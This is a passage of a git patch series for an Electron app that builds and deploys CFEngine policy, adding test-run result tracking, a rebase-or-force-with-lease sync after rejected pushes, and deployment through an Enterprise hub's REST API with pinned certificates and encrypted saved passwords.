Deploy & run also records whether it passed. +function exited(runId: string, runtime: EnvironmentRuntime, event: Extract): Partial { + environmentOfRun.delete(runId); + const running = runtime.lastRun?.passed === null && (runtime.action === 'run' || runtime.action === 'test'); + const clean = Object.values(runtime.problems).every(list => list.length === 0) && runtime.results.every(result => !result.notKept); + return { + lastRun: running ? { ...runtime.lastRun!, passed: event.ok && clean } : runtime.lastRun, + action: null, + runId: null, + outcome: event.ok ? 'ok' : 'error', + error: event.ok ? runtime.error : (runtime.error ?? event.message ?? 'Failed') + }; +} + function handle(runId: string, event: TestEnvEvent) { const environmentId = environmentOfRun.get(runId); if (!environmentId) return; @@ -120,13 +148,7 @@ function handle(runId: string, event: TestEnvEvent) { case 'error': return { ...appended(runtime, { kind: 'error', text: event.message }), error: event.message }; case 'exit': - environmentOfRun.delete(runId); - return { - action: null, - runId: null, - outcome: event.ok ? 'ok' : 'error', - error: event.ok ? runtime.error : (runtime.error ?? event.message ?? 'Failed') - }; + return exited(runId, runtime, event); default: return {}; } @@ -159,7 +181,11 @@ export async function startAction(environment: TestEnvironment, action: Action, error: null, outcome: null, results: action === 'run' || action === 'test' ? [] : runtime.results, - problems: action === 'run' || action === 'test' ? {} : runtime.problems + problems: action === 'run' || action === 'test' ? {} : runtime.problems, + lastRun: + action === 'run' || action === 'test' + ? { at: Date.now(), content: JSON.stringify(request.content ?? null), hosts: request.hosts?.length ?? environment.hosts.length, passed: null } + : runtime.lastRun })); try { const runId = await window.api.testEnvStart(action, request); From ce01534c5e4298d8e5c586b60c77364817b28a0a Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Mon, 5 Oct 2026 11:11:03 +0300 Subject: [PATCH 043/141] A rejected push offers to pull the remote's commits or overwrite them The tab fetches when it reads the git status, so it shows what the remote has first. Pull rebases this project's commits onto the remote's, pushes and reloads the project from disk; a conflict aborts the rebase and names the files. Overwrite force-pushes with lease. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/deploy.ts | 35 +++++++++++++++++ src/preload/api.d.ts | 2 + src/preload/index.ts | 1 + src/renderer/src/App.tsx | 2 +- .../src/components/DeploymentView.tsx | 38 ++++++++++++++++++- src/renderer/src/pages/ProjectView.tsx | 12 ++++-- src/renderer/src/project/useProjectSession.ts | 5 +++ 7 files changed, 89 insertions(+), 6 deletions(-) diff --git a/src/main/deploy.ts b/src/main/deploy.ts index c8981be..4f1dd3c 100644 --- a/src/main/deploy.ts +++ b/src/main/deploy.ts @@ -39,6 +39,7 @@ const REMOTE_DEPLOY = [ '/var/cfengine/bin/cf-agent -K' ].join('\n'); const PUSH_TIMEOUT_MS = 120_000; +const FETCH_TIMEOUT_MS = 15_000; // http(s), ssh, git, file URLs, scp-like `user@host:path`, or a local path. const REMOTE_URL = /^(?:(?:https?|ssh|git|file):\/\/\S+|[\w.-]+@[\w.-]+:\S+|\/\S+)$/; @@ -93,6 +94,8 @@ async function status(path: string): Promise { const repo = top.code === 0 && normalize(top.stdout.trim()) === real; const empty: GitStatus = { repo, branch: null, remote: null, upstream: null, ahead: 0, behind: 0, changedFiles: 0, lastCommit: null, headBuilder: null }; if (!repo) return empty; + // What the remote has that we don't (best effort: offline, the last fetch's view). + if ((await git(path, ['remote', 'get-url', 'origin'])).code === 0) await git(path, ['fetch', '--quiet', 'origin'], FETCH_TIMEOUT_MS).catch(() => null); const [branch, remote, upstream, changed, last, head] = await Promise.all([ git(path, ['symbolic-ref', '--short', 'HEAD']), git(path, ['remote', 'get-url', 'origin']), @@ -301,6 +304,38 @@ export function registerDeployHandlers(isTrustedFrame: (frame: WebFrameMain | nu }) ) ); + // A push the remote rejected (it has commits we don't): bring theirs in under ours, or overwrite. + ipcMain.handle( + 'git:sync', + trusted((_event, path: unknown, mode: unknown) => + attempt(async () => { + const root = projectPath(path); + if (mode !== 'rebase' && mode !== 'force') throw new Error('Unknown sync'); + if (mode === 'rebase') { + if ((await git(root, ['status', '--porcelain'])).stdout.trim()) throw new Error('Commit your changes first: there are uncommitted files.'); + const fetch = await git(root, ['fetch', 'origin'], PUSH_TIMEOUT_MS); + if (fetch.code !== 0) throw commandError('git fetch failed', fetch); + const branch = (await git(root, ['symbolic-ref', '--short', 'HEAD'])).stdout.trim(); + const upstream = await git(root, ['rev-parse', '--abbrev-ref', '@{u}']); + const onto = upstream.code === 0 ? upstream.stdout.trim() : `origin/${branch}`; + const rebase = await git(root, [...(await identity(root)), 'rebase', onto]); + if (rebase.code !== 0) { + const conflicts = (await git(root, ['diff', '--name-only', '--diff-filter=U'])).stdout.trim().split('\n').filter(Boolean); + await git(root, ['rebase', '--abort']); + throw Object.assign( + new Error( + `Your commits and the remote’s change the same ${conflicts.length ? `files (${conflicts.join(', ')})` : 'lines'}: nothing was changed. Merge them in git, or overwrite the remote.` + ), + { details: `${rebase.stdout}${rebase.stderr}`.trim() } + ); + } + } + const push = await git(root, ['push', ...(mode === 'force' ? ['--force-with-lease'] : []), '--set-upstream', 'origin', 'HEAD'], PUSH_TIMEOUT_MS); + if (push.code !== 0) throw commandError('git push failed', push); + return { status: await status(root), pulled: mode === 'rebase' }; + }) + ) + ); ipcMain.handle( 'git:push', trusted((_event, path: unknown) => diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index 7f0446e..70f85a5 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -242,6 +242,8 @@ declare global { /** Sets (or adds) the origin remote. */ gitSetRemote: (path: string, url: string) => Promise>; gitStatus: (path: string) => Promise>; + /** After a rejected push: rebase onto the remote's commits then push ('rebase', aborted on conflicts), or force-push with lease ('force'). */ + gitSync: (path: string, mode: 'force' | 'rebase') => Promise>; /** Opens a native file picker and reads the chosen file as text, or null if cancelled. */ importTextFile: () => Promise<{ content: string; fileName: string } | null>; /** Each step of a running Build or SSH deploy as it starts (build, lint, promises, copy, validate, install, update, policy). */ diff --git a/src/preload/index.ts b/src/preload/index.ts index fcbebfb..7ce130b 100644 --- a/src/preload/index.ts +++ b/src/preload/index.ts @@ -123,6 +123,7 @@ const api = { gitCommit: (path: string, message: string): Promise> => invoke('git:commit', path, message), gitSetRemote: (path: string, url: string): Promise> => invoke('git:set-remote', path, url), gitPush: (path: string): Promise> => invoke('git:push', path), + gitSync: (path: string, mode: 'force' | 'rebase'): Promise> => invoke('git:sync', path, mode), /** Sets the window title (null: no project) and the unsaved-changes state. */ setDocument: (document: { edited: boolean; title: string | null }): Promise => invoke('window:set-document', document), diff --git a/src/renderer/src/App.tsx b/src/renderer/src/App.tsx index a75f4f5..9dccf9d 100644 --- a/src/renderer/src/App.tsx +++ b/src/renderer/src/App.tsx @@ -73,7 +73,7 @@ export default function App() { return ( <> {project ? ( - setSettingsOpen(true)} /> + setSettingsOpen(true)} /> ) : ( )} diff --git a/src/renderer/src/components/DeploymentView.tsx b/src/renderer/src/components/DeploymentView.tsx index 8e83b54..396faf6 100644 --- a/src/renderer/src/components/DeploymentView.tsx +++ b/src/renderer/src/components/DeploymentView.tsx @@ -269,10 +269,13 @@ function BuildDetails({ */ export function DeploymentView({ compiled, + onReload, onSave, onShowBlock }: { compiled: CompiledPolicyState; + // Reads the project from disk again (after pulling the remote's commits into it). + onReload: () => Promise; onSave: () => Promise; onShowBlock: (fileId: string, id: string) => void; }) { @@ -283,7 +286,7 @@ export function DeploymentView({ const files = useAppSelector(state => state.files); const [git, setGit] = useState(null); const [gitFailure, setGitFailure] = useState(null); - const [gitBusy, setBusy] = useState<'commit' | 'init' | 'push' | 'remote' | null>(null); + const [gitBusy, setBusy] = useState<'commit' | 'force' | 'init' | 'push' | 'rebase' | 'remote' | null>(null); const [message, setMessage] = useState(null); const [remote, setRemote] = useState(null); const [target, setTarget] = useState(() => (localStorage.getItem(`cfpb.deploy.target:${project?.path}`) as Target | null) ?? 'git'); @@ -383,6 +386,8 @@ export function DeploymentView({ commit: `Committed ${commit}.`, init: `Initialized git, first commit ${commit}.`, push: `Pushed ${result.status.branch} to origin.`, + rebase: `Pulled the remote’s commits under yours and pushed ${result.status.branch}; the project was reloaded from disk.`, + force: `Overwrote ${result.status.branch} on origin with yours.`, remote: 'Remote set.' }; setNotice(notices[step] ?? null); @@ -483,6 +488,14 @@ export function DeploymentView({ } onSetRemote={() => void gitAction('remote', () => window.api!.gitSetRemote(path!, (remote ?? '').trim())).then(ok => ok && setRemote(null))} onPush={() => void gitAction('push', () => window.api!.gitPush(path!))} + rejected={Boolean(gitFailure && /\[rejected\]|fetch first|non-fast-forward/.test(`${gitFailure.message}\n${gitFailure.details}`))} + onSync={mode => + void gitAction(mode, async () => { + const result = await window.api!.gitSync(path!, mode); + if (result.ok && result.pulled) await onReload(); + return result; + }) + } /> {notice && !gitFailure && ( @@ -615,7 +628,7 @@ function GitSummary({ git }: { git: GitStatus | null }) { if (!git) return null; if (!git.repo) return ; if (!git.remote) return ; - if (git.behind > 0) return ; + if (git.behind > 0) return ; if (git.ahead > 0) return ; return ; } @@ -629,8 +642,11 @@ function CommitStep(props: { onPush: () => void; onRemoteChange: (value: string) => void; onSetRemote: () => void; + onSync: (mode: 'force' | 'rebase') => void; onTextChange: (value: string) => void; path: string | null; + // The last push was refused: the remote has commits this project doesn't. + rejected: boolean; remote: string; text: string; }) { @@ -685,6 +701,24 @@ function CommitStep(props: { {busy === 'push' ? 'Pushing…' : `Push${git.branch ? ` ${git.branch}` : ''}`} + {(git.behind > 0 || props.rejected) && ( + + + + + } + > + The remote has {git.behind > 0 ? `${git.behind} ${git.behind === 1 ? 'commit' : 'commits'}` : 'commits'} this project doesn’t. Pull them in under + yours (your commits are replayed on top, then pushed; the project reloads from disk), or overwrite the remote with yours (theirs are lost). + + )} Pushing uses your own git credentials (SSH agent or credential helper); the app stores none. diff --git a/src/renderer/src/pages/ProjectView.tsx b/src/renderer/src/pages/ProjectView.tsx index af8e3ae..0a02b2c 100644 --- a/src/renderer/src/pages/ProjectView.tsx +++ b/src/renderer/src/pages/ProjectView.tsx @@ -155,12 +155,15 @@ function DeployActivityBadge({ path }: { path: string | null }) { // The tabs besides the canvas. function OtherTab({ tab, + onReload, onSave, onShowBlock, ...policy -}: { onSave: () => Promise; onShowBlock: (fileId: string, id: string) => void; tab: number } & Parameters[0]) { +}: { onReload: () => Promise; onSave: () => Promise; onShowBlock: (fileId: string, id: string) => void; tab: number } & Parameters< + typeof GeneratedPolicyView +>[0]) { if (tab === 1) return ; - if (tab === 3) return ; + if (tab === 3) return ; return ; } @@ -254,12 +257,14 @@ interface ProjectViewProps { // Unsaved changes since the last save (see project/useProjectSession.ts). dirty: boolean; onOpenSettings: () => void; + // Opens the project from disk again (Deployment, after pulling commits into it). + onReload: () => Promise; // Resolves with whether the project ended up saved. onSave: () => Promise; } /** The open project; saving it into cfbs.json is owned by App (project/useProjectSession.ts). */ -export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectViewProps) { +export default function ProjectView({ dirty, onOpenSettings, onReload, onSave }: ProjectViewProps) { const dispatch = useAppDispatch(); const project = useAppSelector(selectCurrentProject); const files = useAppSelector(selectFiles); @@ -1075,6 +1080,7 @@ export default function ProjectView({ dirty, onOpenSettings, onSave }: ProjectVi guarded(() => setProjectDialog('new')), openProject: (path?: string) => guarded(() => void openProject(path)), + // The open project again from disk, as it is (Deployment pulled commits into it; nothing unsaved). + reloadProject: async () => { + const path = store.getState().project?.path; + if (path) await openProject(path); + }, project, projectDialog, requestClose: () => guarded(() => window.api?.confirmWindowClose()), From 67609873f6c65c3f67a30d4cb75a8e8cd225cd17 Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Mon, 5 Oct 2026 11:11:16 +0300 Subject: [PATCH 044/141] Deployment can deploy through an Enterprise hub As Mission Portal's Build app does, through its API: connect with basic auth (a self-signed certificate is accepted by fingerprint and pinned, the password kept with safeStorage), point the hub's VCS settings at the project's repository as GIT_CFBS, then Deploy now turns on deploys from git (a CMDB class) and runs the hub's agent. The hub's Policy Release Id shows which commit it runs. agent_run output is cut at 4 KB, so a deploy can end as "result unknown"; an SSH URL without a deploy key is flagged, since the hub can't pull it. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- src/main/hub.ts | 331 ++++++++++ src/main/index.ts | 2 + src/preload/api.d.ts | 61 ++ src/preload/index.ts | 20 + .../src/components/DeploymentView.tsx | 17 +- .../src/components/deploy/EnterpriseHub.tsx | 568 ++++++++++++++++++ src/renderer/src/project/deployRuns.ts | 37 +- 7 files changed, 1026 insertions(+), 10 deletions(-) create mode 100644 src/main/hub.ts create mode 100644 src/renderer/src/components/deploy/EnterpriseHub.tsx diff --git a/src/main/hub.ts b/src/main/hub.ts new file mode 100644 index 0000000..2f9a130 --- /dev/null +++ b/src/main/hub.ts @@ -0,0 +1,331 @@ +import { type IpcMainInvokeEvent, type WebFrameMain, app, ipcMain, safeStorage } from 'electron'; +import { promises as fs } from 'fs'; +import { request } from 'https'; +import { join } from 'path'; +import { type PeerCertificate, connect as tlsConnect } from 'tls'; + +import type { HubInfo, HubProbe, HubState, SavedHub } from '../preload/api'; + +/** + * Deployment's Enterprise hub: Mission Portal's REST API, as its own Build app uses it to deploy. + * Hubs are saved in userData with the password encrypted (safeStorage); a self-signed + * certificate is trusted only after the user accepts its fingerprint, and pinned from then on. + */ + +const TIMEOUT_MS = 20_000; +// agent_run waits for the hub's own update.cf + policy run (Mission Portal allows ~2 min). +const AGENT_RUN_TIMEOUT_MS = 200_000; +// The class masterfiles' update policy deploys from VCS under (off by default). +const DEPLOY_CLASS = 'default:cfengine_internal_masterfiles_update'; + +interface StoredHub extends SavedHub { + // safeStorage-encrypted, base64. + password: string; + // The pinned certificate when it isn't trusted by the system. + pem?: string; +} + +const storePath = () => join(app.getPath('userData'), 'hubs.json'); + +async function readHubs(): Promise { + try { + const parsed = JSON.parse(await fs.readFile(storePath(), 'utf-8')); + return Array.isArray(parsed) ? parsed : []; + } catch { + return []; + } +} + +const writeHubs = (hubs: StoredHub[]) => fs.writeFile(storePath(), JSON.stringify(hubs, null, 2), { mode: 0o600 }); +const publicHub = ({ url, username, fingerprint }: StoredHub): SavedHub => ({ url, username, fingerprint }); + +function checkedUrl(value: unknown): URL { + if (typeof value !== 'string' || value.length > 500) throw new Error('Not a hub URL'); + const url = new URL(value.trim().includes('://') ? value.trim() : `https://${value.trim()}`); + if (url.protocol !== 'https:') throw new Error('The hub must be reached over https'); + return new URL(url.origin); +} + +const pemOf = (cert: PeerCertificate) => `-----BEGIN CERTIFICATE-----\n${cert.raw.toString('base64').replace(/(.{64})/g, '$1\n')}\n-----END CERTIFICATE-----\n`; + +/** The hub's certificate, and whether the system trusts it (else the user decides by fingerprint). */ +function probe(url: URL): Promise { + return new Promise((resolve, reject) => { + const socket = tlsConnect( + { host: url.hostname, port: Number(url.port) || 443, servername: url.hostname, rejectUnauthorized: false, timeout: TIMEOUT_MS }, + () => { + const cert = socket.getPeerCertificate(); + resolve({ + url: url.origin, + trusted: socket.authorized, + fingerprint: cert.fingerprint256, + subject: String(cert.subject?.CN ?? ''), + validTo: cert.valid_to, + pem: pemOf(cert) + }); + socket.end(); + } + ); + socket.on('timeout', () => socket.destroy(new Error(`No answer from ${url.host}`))); + socket.on('error', error => reject(new Error(`Can’t reach ${url.host}: ${error.message}`))); + }); +} + +type Hub = { fingerprint?: string; password: string; pem?: string; url: string; username: string }; + +// One API call: JSON in and out, basic auth, the pinned certificate when there is one. +function call(hub: Hub, method: string, path: string, body?: unknown, timeout = TIMEOUT_MS): Promise<{ data: T; status: number }> { + const url = new URL(path, hub.url); + const payload = body === undefined ? undefined : JSON.stringify(body); + return new Promise((resolve, reject) => { + const req = request( + url, + { + method, + timeout, + headers: { + Authorization: `Basic ${Buffer.from(`${hub.username}:${hub.password}`).toString('base64')}`, + // The hub answers 406 to any Accept naming application/json; it replies JSON anyway. + Accept: '*/*', + ...(payload ? { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) } : {}) + }, + // A pinned self-signed certificate: it's the CA, and it must be exactly that one. + ...(hub.pem + ? { + ca: hub.pem, + checkServerIdentity: (_host: string, cert: PeerCertificate) => + cert.fingerprint256 === hub.fingerprint ? undefined : new Error('The hub’s certificate changed since it was trusted') + } + : {}) + }, + response => { + let text = ''; + response.setEncoding('utf8'); + response.on('data', chunk => (text += chunk)); + response.on('end', () => { + const status = response.statusCode ?? 0; + let data: unknown = text; + try { + data = text ? JSON.parse(text) : null; + } catch { + // Plain-text answers (errors) stay text. + } + if (status === 401) return reject(new Error('The hub refused the username or password')); + if (status === 403) return reject(new Error(`This user may not do that on the hub (${method} ${url.pathname})`)); + if (status >= 400) + return reject( + Object.assign(new Error(`${method} ${url.pathname} failed (HTTP ${status})`), { + details: typeof data === 'string' ? data : JSON.stringify(data, null, 2) + }) + ); + resolve({ data: data as T, status }); + }); + } + ); + req.on('timeout', () => req.destroy(new Error(`The hub didn’t answer within ${Math.round(timeout / 1000)} s`))); + req.on('error', error => reject(error)); + req.end(payload); + }); +} + +// A host key in a URL path as the hub matches it: raw (it finds no host for an encoded "SHA%3D…"). +function hostkeyPath(hostkey: string): string { + if (!/^(SHA|MD5)=[0-9a-f]+$/i.test(hostkey)) throw new Error(`Unexpected hub host key: ${hostkey}`); + return hostkey; +} + +async function hubFor(urlValue: unknown): Promise { + const url = checkedUrl(urlValue).origin; + const stored = (await readHubs()).find(hub => hub.url === url); + if (!stored) throw new Error('Connect to this hub first'); + if (!safeStorage.isEncryptionAvailable()) throw new Error('The system keychain isn’t available to read the hub password'); + return { ...stored, password: safeStorage.decryptString(Buffer.from(stored.password, 'base64')) }; +} + +async function info(hub: Hub): Promise { + type Api = { data: { enterpriseVersion?: string; hub?: { hostkey: string; hostname: string }; license?: { granted?: number; licenseType?: string } }[] }; + const { data } = await call(hub, 'GET', '/api/'); + const about = data.data?.[0]; + if (!about?.hub?.hostkey) throw new Error('That isn’t a CFEngine Enterprise hub API'); + return { + hostkey: about.hub.hostkey, + hostname: about.hub.hostname, + version: about.enterpriseVersion ?? '', + license: about.license?.licenseType ? `${about.license.licenseType}${about.license.granted ? `, ${about.license.granted} hosts` : ''}` : '' + }; +} + +// What the hub deploys from, whether VCS deploys are on, and the policy it runs now. +async function state(hub: Hub): Promise { + const about = await info(hub); + type Vcs = { data: Record }; + const vcs = await call(hub, 'GET', '/api/vcs/settings').then( + result => result.data.data, + (error: Error) => (/HTTP 404/.test(error.message) ? null : Promise.reject(error)) + ); + type Cmdb = { data: { entries?: { item_name: string }[]; name: string }[] }; + const cmdb = await call(hub, 'GET', `/api/cmdb/v2/${hostkeyPath(about.hostkey)}?limit=100`); + const deploysEnabled = cmdb.data.data.some(item => item.name === DEPLOY_CLASS || item.entries?.some(entry => entry.item_name === DEPLOY_CLASS)); + type Inventory = { data: { rows: string[][] }[] }; + const inventory = await call(hub, 'POST', '/api/inventory', { + select: ['Policy Release Id'], + hostFilter: { includes: { includeAdditionally: false, entries: { hostkey: [about.hostkey] } } } + }).catch(() => null); + const hosts = await call<{ meta: { total: number } }>(hub, 'GET', '/api/host?count=1').catch(() => null); + return { + info: about, + vcs: vcs + ? { + type: vcs.VCS_TYPE ?? 'GIT', + url: vcs.GIT_URL ?? '', + refspec: vcs.GIT_REFSPEC ?? '', + subdirectory: vcs.PROJECT_SUBDIRECTORY ?? '', + username: vcs.GIT_USERNAME ?? '', + // A deploy key is set (PKEY is its path on the hub). + hasKey: Boolean(vcs.PKEY) + } + : null, + deploysEnabled, + releaseId: inventory?.data.data?.[0]?.rows?.[0]?.[0] ?? null, + hosts: hosts?.data.meta?.total ?? null + }; +} + +type Result = Promise<({ ok: true } & T) | { details: string; message: string; ok: false }>; + +async function attempt(run: () => Promise): Result { + try { + return { ok: true as const, ...(await run()) }; + } catch (error) { + const failure = error as Error & { details?: string }; + return { ok: false as const, message: failure.message, details: failure.details ?? '' }; + } +} + +const text = (value: unknown, what: string, max = 2000) => { + if (typeof value !== 'string' || value.length > max || value.includes('\0')) throw new Error(`Invalid ${what}`); + return value; +}; + +export function registerHubHandlers(isTrustedFrame: (frame: WebFrameMain | null) => boolean): void { + const trusted = + (handler: (event: IpcMainInvokeEvent, ...args: A) => R) => + (event: IpcMainInvokeEvent, ...args: A) => { + if (!isTrustedFrame(event.senderFrame)) throw new Error('untrusted sender'); + return handler(event, ...args); + }; + + ipcMain.handle( + 'hub:list', + trusted(async () => (await readHubs()).map(publicHub)) + ); + ipcMain.handle( + 'hub:probe', + trusted((_event, url: unknown) => attempt(async () => ({ probe: await probe(checkedUrl(url)) }))) + ); + // Logs in once with the credentials, then saves them; `fingerprint` is the certificate the user + // accepted (null when the system trusts it). + ipcMain.handle( + 'hub:connect', + trusted((_event, request: unknown) => + attempt(async () => { + const { url: urlValue, username, password, fingerprint } = (request ?? {}) as Record; + const url = checkedUrl(urlValue); + const seen = await probe(url); + if (!seen.trusted && seen.fingerprint !== fingerprint) throw new Error('The hub’s certificate isn’t the one you accepted'); + const hub: Hub = { + url: url.origin, + username: text(username, 'username', 200), + password: text(password, 'password', 500), + ...(seen.trusted ? {} : { pem: seen.pem, fingerprint: seen.fingerprint }) + }; + if (!safeStorage.isEncryptionAvailable()) throw new Error('The system keychain isn’t available to keep the hub password'); + const hubState = await state(hub); + const stored: StoredHub = { ...hub, password: safeStorage.encryptString(hub.password).toString('base64') }; + await writeHubs([...(await readHubs()).filter(other => other.url !== hub.url), stored]); + return { hub: publicHub(stored), state: hubState }; + }) + ) + ); + ipcMain.handle( + 'hub:forget', + trusted(async (_event, url: unknown) => { + const origin = checkedUrl(url).origin; + await writeHubs((await readHubs()).filter(hub => hub.url !== origin)); + }) + ); + ipcMain.handle( + 'hub:state', + trusted((_event, url: unknown) => attempt(async () => ({ state: await state(await hubFor(url)) }))) + ); + // Points the hub's VCS deployment at a cfbs project repository (as Mission Portal's Build app does). + ipcMain.handle( + 'hub:configure-vcs', + trusted((_event, url: unknown, settings: unknown) => + attempt(async () => { + const hub = await hubFor(url); + const given = (settings ?? {}) as Record; + const body: Record = { + vcsType: 'GIT_CFBS', + gitServer: text(given.gitServer, 'repository URL').trim(), + gitRefspec: text(given.gitRefspec, 'branch', 200).trim(), + projectSubdirectory: text(given.projectSubdirectory ?? '', 'subdirectory', 500).replace(/^\/+/, '') + }; + if (!body.gitServer || !body.gitRefspec) throw new Error('The hub needs a repository URL and a branch'); + // A POST rewrites every setting: credentials left out are cleared, so the old ones aren't kept. + if (given.gitUsername) body.gitUsername = text(given.gitUsername, 'git username', 200); + if (given.gitPassword) body.gitPassword = text(given.gitPassword, 'git token', 2000); + if (given.gitPrivateKeyFile) body.gitPrivateKey = await fs.readFile(text(given.gitPrivateKeyFile, 'key file', 4096), 'utf-8'); + await call(hub, 'POST', '/api/vcs/settings', body); + return { state: await state(hub) }; + }) + ) + ); + // Deploy now: VCS deploys on (the CMDB class), then the hub's agent runs update.cf, which pulls, + // builds with cfbs, validates and swaps masterfiles. + ipcMain.handle( + 'hub:deploy', + trusted((event, url: unknown) => + attempt(async () => { + const stage = (name: string) => !event.sender.isDestroyed() && event.sender.send('deploy:progress', name); + const hub = await hubFor(url); + let before = await state(hub); + let output = ''; + const runAgent = async () => { + const { data } = await call<{ exit_code?: number; output?: string }>( + hub, + 'POST', + '/api/actions/agent_run', + { hostkey: before.info.hostkey }, + AGENT_RUN_TIMEOUT_MS + ); + output += data?.output ?? ''; + return data; + }; + if (!before.deploysEnabled) { + stage('enable'); + await call(hub, 'POST', `/api/cmdb/v2/${hostkeyPath(before.info.hostkey)}`, { + type: 'class', + name: DEPLOY_CLASS, + description: 'Deploy masterfiles from version control (set by CFEngine Policy Builder)', + entries: [{ item_name: DEPLOY_CLASS, item_type: 'class' }] + }); + // The first run fetches the CMDB data; the second deploys under it. + await runAgent(); + before = await state(hub); + } + stage('agent'); + await runAgent(); + stage('verify'); + // agent_run returns only the first 4 KB: say "unknown" unless the stage's own result is in it. + const deployed = /Masterfiles deployment failed|masterfiles-stage\.sh' returned code '[1-9]/i.test(output) + ? 'no' + : /masterfiles-stage\.sh' returned code '0'/.test(output) + ? 'yes' + : 'unknown'; + const after = await state(hub); + return { state: after, output, deployed, enabledDeploys: !before.deploysEnabled || undefined }; + }) + ) + ); +} diff --git a/src/main/index.ts b/src/main/index.ts index cfdc54f..797deae 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -7,6 +7,7 @@ import { pathToFileURL } from 'url'; import type { RecentProject } from '../preload/api'; import { compilePolicy, formatPolicy, warmUpSidecar } from './backend'; import { registerDeployHandlers } from './deploy'; +import { registerHubHandlers } from './hub'; import { clearRecentProjects, getRecentProjects, onRecentsChanged, registerProjectHandlers } from './project'; import { registerTestEnvHandlers } from './testenv'; @@ -233,6 +234,7 @@ app.whenReady().then(() => { registerProjectHandlers(isTrustedFrame); registerTestEnvHandlers(isTrustedFrame); registerDeployHandlers(isTrustedFrame); + registerHubHandlers(isTrustedFrame); // The File menu and the start screen both list recent projects. onRecentsChanged(() => { void refreshMenu(); diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index 70f85a5..11c309a 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -153,6 +153,41 @@ export interface BuildResult { tarball: string | null; } +// A saved Enterprise hub (its password stays in main, encrypted). +export interface SavedHub { + // SHA-256 of the pinned certificate, when the system doesn't trust it. + fingerprint?: string; + url: string; + username: string; +} + +// The hub's certificate, for the user to accept when the system doesn't trust it. +export interface HubProbe { + fingerprint: string; + pem: string; + subject: string; + trusted: boolean; + url: string; + validTo: string; +} + +export interface HubInfo { + hostkey: string; + hostname: string; + license: string; + version: string; +} + +// What a hub deploys from and runs: its VCS settings, whether VCS deploys are on (the CMDB class +// cfengine_internal_masterfiles_update), and the policy release (git commit) it last reported. +export interface HubState { + deploysEnabled: boolean; + hosts: number | null; + info: HubInfo; + releaseId: string | null; + vcs: { hasKey: boolean; refspec: string; subdirectory: string; type: string; url: string; username: string } | null; +} + // The project folder's git state, for Deployment's Commit & push. export interface GitStatus { ahead: number; @@ -244,6 +279,32 @@ declare global { gitStatus: (path: string) => Promise>; /** After a rejected push: rebase onto the remote's commits then push ('rebase', aborted on conflicts), or force-push with lease ('force'). */ gitSync: (path: string, mode: 'force' | 'rebase') => Promise>; + /** Points an Enterprise hub's VCS deployment at a cfbs project repository (GIT_CFBS); credentials left out are cleared on the hub. */ + hubConfigureVcs: ( + url: string, + settings: { + gitPassword?: string; + gitPrivateKeyFile?: string; + gitRefspec: string; + gitServer: string; + gitUsername?: string; + projectSubdirectory?: string; + } + ) => Promise>; + /** Logs in to a hub and saves it (password encrypted in main); `fingerprint` is the accepted certificate, null when the system trusts it. */ + hubConnect: (request: { + fingerprint: string | null; + password: string; + url: string; + username: string; + }) => Promise>; + /** Deploy now: turns VCS deploys on if needed, then runs the hub's agent (pull, cfbs build, validate, swap). */ + hubDeploy: (url: string) => Promise>; + hubForget: (url: string) => Promise; + hubList: () => Promise; + /** The hub's certificate, and whether the system trusts it. */ + hubProbe: (url: string) => Promise>; + hubState: (url: string) => Promise>; /** Opens a native file picker and reads the chosen file as text, or null if cancelled. */ importTextFile: () => Promise<{ content: string; fileName: string } | null>; /** Each step of a running Build or SSH deploy as it starts (build, lint, promises, copy, validate, install, update, policy). */ diff --git a/src/preload/index.ts b/src/preload/index.ts index 7ce130b..c9d1c1d 100644 --- a/src/preload/index.ts +++ b/src/preload/index.ts @@ -7,6 +7,8 @@ import type { CreateProjectRequest, DockerStatus, GitStatus, + HubProbe, + HubState, ImageSearch, MasterfilesVersions, OpenedProject, @@ -14,6 +16,7 @@ import type { ProjectContent, ProjectStorage, RecentProject, + SavedHub, TargetCheck, TestEnvEvent, TestEnvRequest @@ -114,6 +117,23 @@ const api = { path: string, target: { host: string; key: string | null; port: number | null } ): Promise> => invoke('deploy:ssh', path, target), + /** Enterprise hubs: saved ones, a certificate check, log in + save, and the Deployment actions. */ + hubList: (): Promise => invoke('hub:list'), + hubProbe: (url: string): Promise> => invoke('hub:probe', url), + hubConnect: (request: { + fingerprint: string | null; + password: string; + url: string; + username: string; + }): Promise> => invoke('hub:connect', request), + hubForget: (url: string): Promise => invoke('hub:forget', url), + hubState: (url: string): Promise> => invoke('hub:state', url), + hubConfigureVcs: ( + url: string, + settings: { gitPassword?: string; gitPrivateKeyFile?: string; gitRefspec: string; gitServer: string; gitUsername?: string; projectSubdirectory?: string } + ): Promise> => invoke('hub:configure-vcs', url, settings), + hubDeploy: (url: string): Promise> => + invoke('hub:deploy', url), /** A file picker in ~/.ssh for the hub's private key; null if cancelled. */ pickSshKey: (): Promise => invoke('deploy:pick-key'), /** Shows a file of the project in the OS file manager. */ diff --git a/src/renderer/src/components/DeploymentView.tsx b/src/renderer/src/components/DeploymentView.tsx index 396faf6..03b4b90 100644 --- a/src/renderer/src/components/DeploymentView.tsx +++ b/src/renderer/src/components/DeploymentView.tsx @@ -24,6 +24,7 @@ import { useEnvironmentRuntime } from '../project/testRuns'; import type { CompiledPolicyState } from '../project/useCompiledPolicy'; import { store, useAppSelector } from '../store'; import { selectCurrentProject } from '../store/projectSlice/selectors'; +import { EnterpriseHub } from './deploy/EnterpriseHub'; type Tone = 'error' | 'muted' | 'success' | 'warning'; // Where step 3 delivers the policy set. @@ -456,7 +457,7 @@ export function DeploymentView({ ) : target === 'ssh' ? ( ) : ( - + ) } > @@ -514,18 +515,20 @@ export function DeploymentView({ onDeploy={target => void startSshDeploy(path, onSave, target)} /> )} - {target === 'hub' && ( - - For now, point the hub at the git repository: Mission Portal → Settings → Version control, type GIT_CFBS (it builds the cfbs project - itself), then push from the first tab. Connecting a hub from here — setting that 